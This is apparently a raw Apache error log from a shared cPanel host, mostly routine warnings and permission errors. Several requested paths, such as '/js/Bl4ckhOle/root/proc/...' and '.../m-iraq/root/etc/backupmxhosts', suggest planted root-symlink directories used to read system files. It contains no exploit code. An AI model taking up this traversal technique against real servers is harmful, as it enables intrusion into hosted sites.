[Fri Jul 17 09:11:51.224462 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:51.376319 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 57.141.18.12:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory71/node0/memory22/node0/memory60/subsystem/drivers_probe
[Fri Jul 17 09:11:51.411433 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:45420] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:51.435822 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:52.261028 2026] [autoindex:error] [pid 1993671:tid 1993671] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:11:52.371298 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:52.381422 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:52.598789 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:53.764135 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:53.965010 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.248994 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.376482 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.389144 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 47.82.55.126:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pnp0/00:02/firmware_node/physical_node/driver/uevent
[Fri Jul 17 09:11:54.398671 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:45558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:54.502439 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.698416 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.722123 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:54.964777 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:55.092238 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:56.359818 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:56.501737 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:56.584753 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:11:57.193487 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:45782] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:11:59.506559 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:45902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:00.784959 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:45934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:01.194271 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory44/node0/memory77/node0/memory23/"] [unique_id "almkia14q1EBnanVMYGmXAAAAAk"]
[Fri Jul 17 09:12:01.194332 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory13/node0/memory44/node0/memory77/node0/memory23/"] [unique_id "almkia14q1EBnanVMYGmXAAAAAk"]
[Fri Jul 17 09:12:01.916922 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory20/subsystem/devices/memory67/subsystem/devices/memory95/"] [unique_id "almkiVh1WDijTxd1xw5O1wAAAAc"]
[Fri Jul 17 09:12:01.916969 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.38:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory20/subsystem/devices/memory67/subsystem/devices/memory95/"] [unique_id "almkiVh1WDijTxd1xw5O1wAAAAc"]
[Fri Jul 17 09:12:01.998683 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.046286 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.078854 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.216270 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.216332 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.216390 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:02.288190 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:03.672833 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:44116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:03.856043 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/usr/sbin/modsec-sdbm-util
[Fri Jul 17 09:12:04.306042 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:04.339358 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:04.493501 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:44202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:04.688642 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/var/tmp/tmpxk6jsk3m
[Fri Jul 17 09:12:04.853025 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkjF1_86A5R6msWNfW0QAAABI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:12:04.853078 2026] [security2:error] [pid 2029866:tid 2029866] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkjF1_86A5R6msWNfW0QAAABI"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:12:04.940754 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:44248] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:05.239909 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:05.475541 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:05.680290 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:05.911143 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.020336 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.173216 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.621030 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.725837 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.831887 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:06.832366 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/pcspkr/notes/"] [unique_id "almkjjsMb3am0TgkjETdMwAAAAo"]
[Fri Jul 17 09:12:06.832403 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/pcspkr/notes/"] [unique_id "almkjjsMb3am0TgkjETdMwAAAAo"]
[Fri Jul 17 09:12:07.268808 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:07.610696 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:07.643156 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:07.643241 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:07.897150 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:08.789117 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:08.897810 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/thread-self/cwd/etc/backupmxhosts
[Fri Jul 17 09:12:09.093167 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/kmalloc-rcl-256/trace
[Fri Jul 17 09:12:09.098317 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:44480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:09.170666 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/event4/subsystem/input5/device/driver/uevent
[Fri Jul 17 09:12:09.315926 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:09.339437 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:09.351942 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:09.444781 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/xfs_extfree_intent/validate
[Fri Jul 17 09:12:09.545468 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS1/uartclk
[Fri Jul 17 09:12:09.545860 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS1/uartclk"] [unique_id "almkkbEWOaI5pmYo9fnRQwAAAAA"]
[Fri Jul 17 09:12:09.545892 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:27/subsystem/ttyS1/uartclk"] [unique_id "almkkbEWOaI5pmYo9fnRQwAAAAA"]
[Fri Jul 17 09:12:09.728263 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:44500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:09.848915 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:10.060676 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:10.665136 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty17/subsystem/tty38/dev"] [unique_id "almkko-0g_VSPeIeFN3DEQAAAAs"]
[Fri Jul 17 09:12:10.665171 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/tty/tty17/subsystem/tty38/dev"] [unique_id "almkko-0g_VSPeIeFN3DEQAAAAs"]
[Fri Jul 17 09:12:10.959652 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/machinecheck/machinecheck1/subsystem/drivers_probe
[Fri Jul 17 09:12:11.240434 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkk614q1EBnanVMYGmaQAAAAk"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:12:11.240480 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkk614q1EBnanVMYGmaQAAAAk"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:12:11.365784 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/dma-kmalloc-192/slabs
[Fri Jul 17 09:12:11.734910 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:53270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:11.846440 2026] [security2:error] [pid 2018768:tid 2018768] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-includes/widgets/"] [unique_id "almkk1CBpfuYyhJ140vVVAAAAB4"]
[Fri Jul 17 09:12:11.846489 2026] [security2:error] [pid 2018768:tid 2018768] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-includes/widgets/"] [unique_id "almkk1CBpfuYyhJ140vVVAAAAB4"]
[Fri Jul 17 09:12:12.282802 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:12.284813 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:12.771448 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "research.jrdc.lk"] [uri "/index.php"] [unique_id "almklFCBpfuYyhJ140vVVgAAAB4"]
[Fri Jul 17 09:12:12.771504 2026] [security2:error] [pid 2018768:tid 2018768] [client 20.226.60.151:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "research.jrdc.lk"] [uri "/index.php"] [unique_id "almklFCBpfuYyhJ140vVVgAAAB4"]
[Fri Jul 17 09:12:13.088801 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory66/node0/memory121/node0/memory43/node0/memory137/"] [unique_id "almklUkXT4NBqALj2lZ_cQAAABA"]
[Fri Jul 17 09:12:13.089667 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.113:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory66/node0/memory121/node0/memory43/node0/memory137/"] [unique_id "almklUkXT4NBqALj2lZ_cQAAABA"]
[Fri Jul 17 09:12:13.293266 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:13.496759 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:15.199807 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:53420] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:15.473258 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53476] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:15.692733 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/backup/js/Bl4ckhOle/root/home/cagefs-skeleton/proc/self/net/nf_conntrack
[Fri Jul 17 09:12:15.789154 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.192272 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.192373 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.192418 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.496121 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.596217 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.696200 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:16.798770 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:17.328364 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:17.428950 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:17.527916 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:17.955854 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:18.064253 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:18.776554 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:19.324265 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty49/power/control"] [unique_id "almkm7EKozcCJ-ReuK0FYAAAAAg"]
[Fri Jul 17 09:12:19.324297 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty49/power/control"] [unique_id "almkm7EKozcCJ-ReuK0FYAAAAAg"]
[Fri Jul 17 09:12:19.572986 2026] [autoindex:error] [pid 2013830:tid 2013830] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:12:20.067691 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:20.461022 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:20.590897 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:20.590975 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:20.590999 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.235370 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.345152 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.412873 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.412926 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.660355 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:21.992096 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/dma-kmalloc-4k/slabs
[Fri Jul 17 09:12:22.003958 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:22.077570 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:22.079298 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:54208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:12:22.184905 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:22.302443 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:12:22.345978 2026] [autoindex:error] [pid 2030804:tid 2030804] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:12:22.408753 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event3/device/mouse1/subsystem/input4/properties"] [unique_id "almknjsMb3am0TgkjETdSQAAAAo"]
[Fri Jul 17 09:12:22.408788 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event3/device/mouse1/subsystem/input4/properties"] [unique_id "almknjsMb3am0TgkjETdSQAAAAo"]
[Fri Jul 17 09:12:22.622441 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almknkkXT4NBqALj2lZ_eAAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
